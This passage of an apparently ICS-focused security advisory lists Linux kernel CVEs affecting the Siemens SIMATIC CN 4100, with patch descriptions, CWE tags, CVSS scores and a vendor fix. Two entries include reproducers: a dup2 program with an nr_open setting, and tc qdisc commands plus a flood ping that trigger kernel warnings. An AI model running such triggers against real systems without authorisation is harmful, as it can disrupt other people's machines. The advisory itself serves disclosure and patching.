class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39718\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: vsock/virtio: Validate length in packet header before skb_put() When receiving a vsock packet in the guest, only the virtqueue buffer size is validated prior to virtio_vsock_skb_rx_put(). Unfortunately, virtio_vsock_skb_rx_put() uses the length from the packet header as the length argument to skb_put(), potentially resulting in SKB overflow if the host has gone wonky. Validate the length as advertised by the packet header before calling virtio_vsock_skb_rx_put().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-787 Out-of-bounds Write\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.6\nHIGH\nCVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39719\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: iio: imu: bno055: fix OOB access of hw_xlate array Fix a potential out-of-bounds array access of the hw_xlate array in bno055.c. In bno055_get_regmask(), hw_xlate was iterated over the length of the vals array instead of the length of the hw_xlate array. In the case of bno055_gyr_scale, the vals array is larger than the hw_xlate array, so this could result in an out-of-bounds access. In practice, this shouldn't happen though because a match should always be found which breaks out of the for loop before it iterates beyond the end of the hw_xlate array. By adding a new hw_xlate_len field to the bno055_sysfs_attr, we can be sure we are iterating over the correct length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39724\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: serial: 8250: fix panic due to PSLVERR When the PSLVERR_RESP_EN parameter is set to 1, the device generates an error response if an attempt is made to read an empty RBR (Receive Buffer Register) while the FIFO is enabled. In serial8250_do_startup(), calling serial_port_out(port, UART_LCR, UART_LCR_WLEN8) triggers dw8250_check_lcr(), which invokes dw8250_force_idle() and serial8250_clear_and_reinit_fifos(). The latter function enables the FIFO via serial_out(p, UART_FCR, p->fcr). Execution proceeds to the serial_port_in(port, UART_RX). This satisfies the PSLVERR trigger condition. When another CPU (e.g., using printk()) is accessing the UART (UART is busy), the current CPU fails the check (value & ~UART_LCR_SPAR) == (lcr & ~UART_LCR_SPAR) in dw8250_check_lcr(), causing it to enter dw8250_force_idle(). Put serial_port_out(port, UART_LCR, UART_LCR_WLEN8) under the port->lock to fix this issue. Panic backtrace: [ 0.442336] Oops - unknown exception [#1] [ 0.442343] epc : dw8250_serial_in32+0x1e/0x4a [ 0.442351] ra : serial8250_do_startup+0x2c8/0x88e ... [ 0.442416] console_on_rootfs+0x26/0x70\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39736\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid deadlock by moving pr_warn() outside kmemleak_lock When netpoll is enabled, calling pr_warn_once() while holding kmemleak_lock in mem_pool_alloc() can cause a deadlock due to lock inversion with the netconsole subsystem. This occurs because pr_warn_once() may trigger netpoll, which eventually leads to __alloc_skb() and back into kmemleak code, attempting to reacquire kmemleak_lock. This is the path for the deadlock. mem_pool_alloc() -> raw_spin_lock_irqsave(&kmemleak_lock, flags); -> pr_warn_once() -> netconsole subsystem -> netpoll -> __alloc_skb -> __create_object -> raw_spin_lock_irqsave(&kmemleak_lock, flags); Fix this by setting a flag and issuing the pr_warn_once() after kmemleak_lock is released.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-833 Deadlock\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39737\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: mm/kmemleak: avoid soft lockup in __kmemleak_do_cleanup() A soft lockup warning was observed on a relative small system x86-64 system with 16 GB of memory when running a debug kernel with kmemleak enabled. watchdog: BUG: soft lockup - CPU#8 stuck for 33s! [kworker/8:1:134] The test system was running a workload with hot unplug happening in parallel. Then kemleak decided to disable itself due to its inability to allocate more kmemleak objects. The debug kernel has its CONFIG_DEBUG_KMEMLEAK_MEM_POOL_SIZE set to 40,000. The soft lockup happened in kmemleak_do_cleanup() when the existing kmemleak objects were being removed and deleted one-by-one in a loop via a workqueue. In this particular case, there are at least 40,000 objects that need to be processed and given the slowness of a debug kernel and the fact that a raw_spinlock has to be acquired and released in __delete_object(), it could take a while to properly handle all these objects. As kmemleak has been disabled in this case, the object removal and deletion process can be further optimized as locking isn't really needed. However, it is probably not worth the effort to optimize for such an edge case that should rarely happen. So the simple solution is to call cond_resched() at periodic interval in the iteration loop to avoid soft lockup.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39738\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: do not allow relocation of partially dropped subvolumes [BUG] There is an internal report that balance triggered transaction abort, with the following call trace: item 85 key (594509824 169 0) itemoff 12599 itemsize 33 extent refs 1 gen 197740 flags 2 ref#0: tree block backref root 7 item 86 key (594558976 169 0) itemoff 12566 itemsize 33 extent refs 1 gen 197522 flags 2 ref#0: tree block backref root 7 ... BTRFS error (device loop0): extent item not found for insert, bytenr 594526208 num_bytes 16384 parent 449921024 root_objectid 934 owner 1 offset 0 BTRFS error (device loop0): failed to run delayed ref for logical 594526208 num_bytes 16384 type 182 action 1 ref_mod 1: -117 ------------[ cut here ]------------ BTRFS: Transaction aborted (error -117) WARNING: CPU: 1 PID: 6963 at ../fs/btrfs/extent-tree.c:2168 btrfs_run_delayed_refs+0xfa/0x110 [btrfs] And btrfs check doesn't report anything wrong related to the extent tree. [CAUSE] The cause is a little complex, firstly the extent tree indeed doesn't have the backref for 594526208. The extent tree only have the following two backrefs around that bytenr on-disk: item 65 key (594509824 METADATA_ITEM 0) itemoff 13880 itemsize 33 refs 1 gen 197740 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE item 66 key (594558976 METADATA_ITEM 0) itemoff 13847 itemsize 33 refs 1 gen 197522 flags TREE_BLOCK tree block skinny level 0 (176 0x7) tree block backref root CSUM_TREE But the such missing backref item is not an corruption on disk, as the offending delayed ref belongs to subvolume 934, and that subvolume is being dropped: item 0 key (934 ROOT_ITEM 198229) itemoff 15844 itemsize 439 generation 198229 root_dirid 256 bytenr 10741039104 byte_limit 0 bytes_used 345571328 last_snapshot 198229 flags 0x1000000000001(RDONLY) refs 0 drop_progress key (206324 EXTENT_DATA 2711650304) drop_level 2 level 2 generation_v2 198229 And that offending tree block 594526208 is inside the dropped range of that subvolume. That explains why there is no backref item for that bytenr and why btrfs check is not reporting anything wrong. But this also shows another problem, as btrfs will do all the orphan subvolume cleanup at a read-write mount. So half-dropped subvolume should not exist after an RW mount, and balance itself is also exclusive to subvolume cleanup, meaning we shouldn't hit a subvolume half-dropped during relocation. The root cause is, there is no orphan item for this subvolume. In fact there are 5 subvolumes from around 2021 that have the same problem. It looks like the original report has some older kernels running, and caused those zombie subvolumes. Thankfully upstream commit 8d488a8c7ba2 (\"btrfs: fix subvolume/snapshot deletion not triggered on mount\") has long fixed the bug. [ENHANCEMENT] For repairing such old fs, btrfs-progs will be enhanced. Considering how delayed the problem will show up (at run delayed ref time) and at that time we have to abort transaction already, it is too late. Instead here we reject any half-dropped subvolume for reloc tree at the earliest time, preventing confusion and extra time wasted on debugging similar bugs.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39742\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: RDMA: hfi1: fix possible divide-by-zero in find_hw_thread_mask() The function divides number of online CPUs by num_core_siblings, and later checks the divider by zero. This implies a possibility to get and divide-by-zero runtime error. Fix it by moving the check prior to division. This also helps to save one indentation level.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-369 Divide By Zero\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39743\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: jfs: truncate good inode pages when hard link is 0 The fileset value of the inode copy from the disk by the reproducer is AGGR_RESERVED_I. When executing evict, its hard link number is 0, so its inode pages are not truncated. This causes the bugon to be triggered when executing clear_inode() because nrpages is greater than 0.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39749\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: rcu: Protect ->defer_qs_iw_pending from data race On kernels built with CONFIG_IRQ_WORK=y, when rcu_read_unlock() is invoked within an interrupts-disabled region of code [1], it will invoke rcu_read_unlock_special(), which uses an irq-work handler to force the system to notice when the RCU read-side critical section actually ends. That end won't happen until interrupts are enabled at the soonest. In some kernels, such as those booted with rcutree.use_softirq=y, the irq-work handler is used unconditionally. The per-CPU rcu_data structure's ->defer_qs_iw_pending field is updated by the irq-work handler and is both read and updated by rcu_read_unlock_special(). This resulted in the following KCSAN splat: ------------------------------------------------------------------------ BUG: KCSAN: data-race in rcu_preempt_deferred_qs_handler / rcu_read_unlock_special read to 0xffff96b95f42d8d8 of 1 bytes by task 90 on cpu 8: rcu_read_unlock_special+0x175/0x260 __rcu_read_unlock+0x92/0xa0 rt_spin_unlock+0x9b/0xc0 __local_bh_enable+0x10d/0x170 __local_bh_enable_ip+0xfb/0x150 rcu_do_batch+0x595/0xc40 rcu_cpu_kthread+0x4e9/0x830 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 write to 0xffff96b95f42d8d8 of 1 bytes by task 88 on cpu 8: rcu_preempt_deferred_qs_handler+0x1e/0x30 irq_work_single+0xaf/0x160 run_irq_workd+0x91/0xc0 smpboot_thread_fn+0x24d/0x3b0 kthread+0x3bd/0x410 ret_from_fork+0x35/0x40 ret_from_fork_asm+0x1a/0x30 no locks held by irq_work/8/88. irq event stamp: 200272 hardirqs last enabled at (200272): [] finish_task_switch+0x131/0x320 hardirqs last disabled at (200271): [] __schedule+0x129/0xd70 softirqs last enabled at (0): [] copy_process+0x4df/0x1cc0 softirqs last disabled at (0): [<0000000000000000>] 0x0 ------------------------------------------------------------------------ The problem is that irq-work handlers run with interrupts enabled, which means that rcu_preempt_deferred_qs_handler() could be interrupted, and that interrupt handler might contain an RCU read-side critical section, which might invoke rcu_read_unlock_special(). In the strict KCSAN mode of operation used by RCU, this constitutes a data race on the ->defer_qs_iw_pending field. This commit therefore disables interrupts across the portion of the rcu_preempt_deferred_qs_handler() that updates the ->defer_qs_iw_pending field. This suffices because this handler is not a fast path.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39752\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ARM: rockchip: fix kernel hang during smp initialization In order to bring up secondary CPUs main CPU write trampoline code to SRAM. The trampoline code is written while secondary CPUs are powered on (at least that true for RK3188 CPU). Sometimes that leads to kernel hang. Probably because secondary CPU execute trampoline code while kernel doesn't expect. The patch moves SRAM initialization step to the point where all secondary CPUs are powered down. That fixes rarely hangs on RK3188: [ 0.091568] CPU0: thread -1, cpu 0, socket 0, mpidr 80000000 [ 0.091996] rockchip_smp_prepare_cpus: ncores 4\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-364 Signal Handler Race Condition\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39756\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: fs: Prevent file descriptor table allocations exceeding INT_MAX When sysctl_nr_open is set to a very high value (for example, 1073741816 as set by systemd), processes attempting to use file descriptors near the limit can trigger massive memory allocation attempts that exceed INT_MAX, resulting in a WARNING in mm/slub.c: WARNING: CPU: 0 PID: 44 at mm/slub.c:5027 __kvmalloc_node_noprof+0x21a/0x288 This happens because kvmalloc_array() and kvmalloc() check if the requested size exceeds INT_MAX and emit a warning when the allocation is not flagged with __GFP_NOWARN. Specifically, when nr_open is set to 1073741816 (0x3ffffff8) and a process calls dup2(oldfd, 1073741880), the kernel attempts to allocate: - File descriptor array: 1073741880 * 8 bytes = 8,589,935,040 bytes - Multiple bitmaps: ~400MB - Total allocation size: > 8GB (exceeding INT_MAX = 2,147,483,647) Reproducer: 1. Set /proc/sys/fs/nr_open to 1073741816: # echo 1073741816 > /proc/sys/fs/nr_open 2. Run a program that uses a high file descriptor: #include #include int main() { struct rlimit rlim = {1073741824, 1073741824}; setrlimit(RLIMIT_NOFILE, &rlim); dup2(2, 1073741880); // Triggers the warning return 0; } 3. Observe WARNING in dmesg at mm/slub.c:5027 systemd commit a8b627a introduced automatic bumping of fs.nr_open to the maximum possible value. The rationale was that systems with memory control groups (memcg) no longer need separate file descriptor limits since memory is properly accounted. However, this change overlooked that: 1. The kernel's allocation functions still enforce INT_MAX as a maximum size regardless of memcg accounting 2. Programs and tests that legitimately test file descriptor limits can inadvertently trigger massive allocations 3. The resulting allocations (>8GB) are impractical and will always fail systemd's algorithm starts with INT_MAX and keeps halving the value until the kernel accepts it. On most systems, this results in nr_open being set to 1073741816 (0x3ffffff8), which is just under 1GB of file descriptors. While processes rarely use file descriptors near this limit in normal operation, certain selftests (like tools/testing/selftests/core/unshare_test.c) and programs that test file descriptor limits can trigger this issue. Fix this by adding a check in alloc_fdtable() to ensure the requested allocation size does not exceed INT_MAX. This causes the operation to fail with -EMFILE instead of triggering a kernel warning and avoids the impractical >8GB memory allocation request.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-401 Missing Release of Memory after Effective Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39757\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 cluster segment descriptors UAC3 class segment descriptors need to be verified whether their sizes match with the declared lengths and whether they fit with the allocated buffer sizes, too. Otherwise malicious firmware may lead to the unexpected OOB accesses.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39759\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: btrfs: qgroup: fix race between quota disable and quota rescan ioctl There's a race between a task disabling quotas and another running the rescan ioctl that can result in a use-after-free of qgroup records from the fs_info->qgroup_tree rbtree. This happens as follows: 1) Task A enters btrfs_ioctl_quota_rescan() -> btrfs_qgroup_rescan(); 2) Task B enters btrfs_quota_disable() and calls btrfs_qgroup_wait_for_completion(), which does nothing because at that point fs_info->qgroup_rescan_running is false (it wasn't set yet by task A); 3) Task B calls btrfs_free_qgroup_config() which starts freeing qgroups from fs_info->qgroup_tree without taking the lock fs_info->qgroup_lock; 4) Task A enters qgroup_rescan_zero_tracking() which starts iterating the fs_info->qgroup_tree tree while holding fs_info->qgroup_lock, but task B is freeing qgroup records from that tree without holding the lock, resulting in a use-after-free. Fix this by taking fs_info->qgroup_lock at btrfs_free_qgroup_config(). Also at btrfs_qgroup_rescan() don't start the rescan worker if quotas were already disabled.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39760\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: usb: core: config: Prevent OOB read in SS endpoint companion parsing usb_parse_ss_endpoint_companion() checks descriptor type before length, enabling a potentially odd read outside of the buffer size. Fix this up by checking the size first before looking at any of the fields in the descriptor.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39766\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net/sched: Make cake_enqueue return NET_XMIT_CN when past buffer_limit The following setup can trigger a WARNING in htb_activate due to the condition: !cl->leaf.q->q.qlen tc qdisc del dev lo root tc qdisc add dev lo root handle 1: htb default 1 tc class add dev lo parent 1: classid 1:1 \\ htb rate 64bit tc qdisc add dev lo parent 1:1 handle f: \\ cake memlimit 1b ping -I lo -f -c1 -s64 -W0.001 127.0.0.1 This is because the low memlimit leads to a low buffer_limit, which causes packet dropping. However, cake_enqueue still returns NET_XMIT_SUCCESS, causing htb_enqueue to call htb_activate with an empty child qdisc. We should return NET_XMIT_CN when packets are dropped from the same tin and flow. I do not believe return value of NET_XMIT_CN is necessary for packet drops in the case of ack filtering, as that is meant to optimize performance, not to signal congestion.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39770\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: gso: Forbid IPv6 TSO with extensions on devices with only IPV6_CSUM When performing Generic Segmentation Offload (GSO) on an IPv6 packet that contains extension headers, the kernel incorrectly requests checksum offload if the egress device only advertises NETIF_F_IPV6_CSUM feature, which has a strict contract: it supports checksum offload only for plain TCP or UDP over IPv6 and explicitly does not support packets with extension headers. The current GSO logic violates this contract by failing to disable the feature for packets with extension headers, such as those used in GREoIPv6 tunnels. This violation results in the device being asked to perform an operation it cannot support, leading to a `skb_warn_bad_offload` warning and a collapse of network throughput. While device TSO/USO is correctly bypassed in favor of software GSO for these packets, the GSO stack must be explicitly told not to request checksum offload. Mask NETIF_F_IPV6_CSUM, NETIF_F_TSO6 and NETIF_F_GSO_UDP_L4 in gso_features_check if the IPv6 header contains extension headers to compute checksum in software. The exception is a BIG TCP extension, which, as stated in commit 68e068cabd2c6c53 (\"net: reenable NETIF_F_IPV6_CSUM offload for BIG TCP packets\"): \"The feature is only enabled on devices that support BIG TCP TSO. The header is only present for PF_PACKET taps like tcpdump, and not transmitted by physical devices.\" kernel log output 